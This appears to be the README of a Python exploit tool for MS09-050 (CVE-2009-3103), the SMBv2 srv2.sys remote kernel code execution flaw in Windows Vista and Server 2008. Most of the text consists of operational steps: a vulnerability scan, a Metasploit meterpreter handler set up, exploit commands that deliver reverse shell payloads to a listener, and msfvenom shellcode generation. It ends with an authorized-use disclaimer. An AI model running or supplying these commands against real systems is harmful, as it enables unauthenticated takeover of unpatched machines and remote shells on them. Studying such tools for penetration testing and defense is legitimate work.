Python exploit for MS09-050 (CVE-2009-3103) SMBv2 srv2.sys buffer overflow, with vulnerability scanner, arch auto-detection, and x86/x64 reverse shell payloads.
CVE-2009-3103
Windows Vista and Server 2008 introduced SMBv2 with a new kernel driver, srv2.sys. This driver fails to validate the Process Id High field in SMB negotiate requests. By sending a specially crafted value in this field, an attacker causes srv2.sys to index into a function pointer table with a controlled value, dereferencing an attacker-supplied address.
The result is arbitrary code execution in kernel context, no authentication required. The attacker only needs to reach port 445.
Microsoft patched this in October 2009 (KB975517). Any unpatched Vista SP1/SP2 or Server 2008 SP1 system is vulnerable.
| Target OS | Architecture |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload to choose a custom payload-s)[+] success, [-] error, [!] warning, [*] infogit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Requirements:
rpcclient (from smbclient package), used to trigger the payload after injectionmsfvenom, only needed if using the --msfvenom flagOn Debian/Ubuntu:
sudo apt install smbclient
On Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Output:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Uses a meterpreter/reverse_tcp stager. Start your handler first:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Then run the exploit:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Generate raw shellcode once, reuse without msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Then feed it to the exploit:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request to fingerprint the target OS version and architecturesrv2.sysThis tool is provided for authorized penetration testing and educational purposes only.
Unauthorized access to computer systems is a criminal offense in most jurisdictions. You must obtain explicit written permission from the system owner before using this tool against any target. The authors assume no liability and are not responsible for any misuse or damage caused by this software.
By using this tool, you agree that:
Use responsibly. Hack ethically.